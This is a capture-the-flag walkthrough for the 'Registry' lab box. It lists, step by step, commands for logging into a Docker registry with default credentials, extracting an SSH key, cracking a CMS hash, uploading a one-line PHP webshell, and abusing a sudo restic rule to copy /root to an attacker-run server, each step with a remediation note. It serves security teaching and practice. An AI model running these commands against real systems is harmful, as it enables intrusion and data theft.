Registry
Summary
I identified a hidden Docker Registry virtual host by reading the HTTPS certificate's Common Name field, then authenticated to the registry API with the factory-default credential pair admin:admin. A private Docker image named bolt-image was downloaded layer by layer; one filesystem layer contained a root SSH private key and a vim history file that recorded its plaintext passphrase, exposing the credentials needed to log into the box as user bolt. From that shell, the Bolt CMS SQLite database was copied off the machine and the administrator password hash was cracked in seconds from a common wordlist, yielding admin's password.
Logging into the CMS admin panel, I edited the file-type allowlist to permit PHP uploads, cleared the application cache, and uploaded a one-line PHP webshell, giving remote code execution as the www-data service account. A sudo rule granted www-data passwordless access to the restic backup binary with no restriction on the backup destination; I stood up a restic REST server on my own machine, tunnelled it to the target through a reverse SSH port-forward over the existing bolt session, and used sudo restic to back up the entire /root directory into my own repository, where root.txt was read directly: full root-level data access without ever obtaining a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for admin>"Some commands also carry a value in angle brackets (<token_from_login_page>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Enumerate services and grab the HTTPS certificate; the CN field reveals docker.registry.htb.
$ nmap -sC -sV -p 22,80,443 $TARGETRegister both discovered virtual hostnames for local resolution.
$ echo "$TARGET docker.registry.htb registry.htb" | sudo tee -a /etc/hostsConfirm the Docker Registry v2 API is live; expect 401.
$ curl -sk https://docker.registry.htb/v2/ -o /dev/null -w '%{http_code}\n'FixRestrict network access to the Docker Registry and rotate the default admin credentialCritical
Exact commands 3
List all repositories using the default admin:admin credential.
$ curl -sk -u admin:admin https://docker.registry.htb/v2/_catalogList available image tags; returns latest.
$ curl -sk -u admin:admin https://docker.registry.htb/v2/bolt-image/tags/listPull the image manifest to retrieve all layer blob digests (fsLayers[].blobSum).
$ curl -sk -u admin:admin 'https://docker.registry.htb/v2/bolt-image/manifests/latest' -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'Exact commands 5
Create a working directory for layer extraction.
$ mkdir -p /tmp/registry-bolt && cd /tmp/registry-boltDownload every layer blob; each is a gzip-compressed tar archive.
$ for digest in $(curl -sk -u admin:admin 'https://docker.registry.htb/v2/bolt-image/manifests/latest' | python3 -c "import sys,json; [print(l['blobSum'].split(':')[1]) for l in json.load(sys.stdin)['fsLayers']]"); do curl -sk -u admin:admin "https://docker.registry.htb/v2/bolt-image/blobs/sha256:$digest" -o "${digest}.gz"; doneExtract each blob into its own directory to reconstruct the layer filesystems.
$ for f in *.gz; do d="layer_${f%.gz}"; mkdir -p "$d"; tar -xzf "$f" -C "$d" 2>/dev/null || true; doneLocate the passphrase inside .viminfo or other text files.
$ grep -r "$PASSWORD" /tmp/registry-bolt/ 2>/dev/nullLocate the embedded SSH private key file.
$ find /tmp/registry-bolt -name 'id_rsa' 2>/dev/nullFixRemove secrets from Docker image layers and inject credentials at runtimeCritical
Exact commands 4
Copy and lock down the extracted private key.
$ cp /tmp/registry-bolt/layer_5/root/.ssh/id_rsa ./id_rsa.clearwork && chmod 600 ./id_rsa.clearworkStrip the passphrase so the key can be used non-interactively.
$ ssh-keygen -p -P "$PASSWORD" -N '' -f ./id_rsa.clearworkAuthenticate as bolt; interactive shell on the target.
$ ssh -i ./id_rsa.clearwork bolt@$TARGETRead the user flag: <user.txt>
$ cat /home/bolt/user.txtExact commands 3
Copy the Bolt CMS SQLite database to my machine.
$ scp -i ./id_rsa.clearwork bolt@$TARGET:/var/www/html/bolt/app/database/bolt.db .Dump all usernames and password hashes from the CMS user table.
$ sqlite3 bolt.db "SELECT username, password FROM bolt_users;"Crack the extracted bcrypt hash; recovers admin:$PASSWORD3.
$ john --wordlist=/usr/share/wordlists/rockyou.txt bolt_hashes.txtFixEnforce strong passwords for all CMS administrator accounts and restrict the admin panel to internal networksHigh
Exact commands 5
Log into the Bolt admin panel; capture the session cookie in bolt.jar. Retrieve the CSRF token from a GET of /bolt/bolt/login first.
$ curl -sk -c bolt.jar -b bolt.jar -X POST 'http://registry.htb/bolt/bolt/login' --data "username=admin&password=$PASSWORD3&_csrf_token=<token_from_login_page>"Save the modified config.yml that includes php in accept_file_types. Prepare config_with_php.yml by adding php to the extension list.
$ curl -sk -c bolt.jar -b bolt.jar -X POST 'http://registry.htb/bolt/bolt/file/edit/config/config.yml' --data-urlencode 'contents@config_with_php.yml'Clear the Bolt application cache so the new upload allowlist takes effect.
$ curl -sk -c bolt.jar -b bolt.jar 'http://registry.htb/bolt/bolt/clearcache'Upload the PHP webshell through the Bolt File Manager.
$ echo '<?php system($_GET["cmd"]);?>' > shell.php && curl -sk -c bolt.jar -b bolt.jar -F 'files[]=@shell.php' 'http://registry.htb/bolt/bolt/async/upload?path=%2F'Confirm RCE; expect uid=33(www-data).
$ curl -sk 'http://registry.htb/bolt/files/shell.php?cmd=id'FixLock the Bolt CMS file-type allowlist to non-executable extensions and prevent in-browser config editingCritical
Exact commands 7
Confirm the sudo rule: (root) NOPASSWD: /usr/bin/restic backup * -r rest:*
$ curl -sk 'http://registry.htb/bolt/files/shell.php?cmd=sudo+-l'Start the restic REST server on Kali in no-auth mode, bound to localhost only.
$ docker run -d -p 127.0.0.1:8000:8000 --name rest_server -v /tmp/repo:/data --entrypoint rest-server restic/rest-server --path /data --no-authInitialise the repo using the same restic 0.8.3 version as the target to avoid version mismatch.
$ export RESTIC_PASSWORD=$PASSWORD2 && docker run --rm --network host -e RESTIC_PASSWORD restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ initOpen a reverse port-forward: TCP 127.0.0.1:8000 on the target forwards to Kali's rest-server.
$ ssh -i ./id_rsa.clearwork -R 8000:127.0.0.1:8000 -N bolt@$TARGET &Trigger the backup of /root as root via the webshell; www-data uses the sudo rule.
$ curl -sk "http://registry.htb/bolt/files/shell.php?cmd=export+RESTIC_PASSWORD%3D$PASSWORD2%3Bsudo+/usr/bin/restic+backup+-r+rest%3Ahttp%3A%2F%2F127.0.0.1%3A8000%2F+/root"List snapshots on Kali to confirm the /root backup landed.
$ docker run --rm --network host -e RESTIC_PASSWORD=$PASSWORD2 restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ snapshotsRestore the snapshot and read root.txt: <root.txt>
$ docker run --rm --network host -e RESTIC_PASSWORD=$PASSWORD2 -v /tmp/restic-restore:/restore restic/restic:0.8.3 -r rest:http://127.0.0.1:8000/ restore latest --target /restore && cat /tmp/restic-restore/root/root.txtFixRemove the unrestricted sudo restic rule and implement least-privilege backup designCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |
| 443/tcp | ssl/http nginx 1.14.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.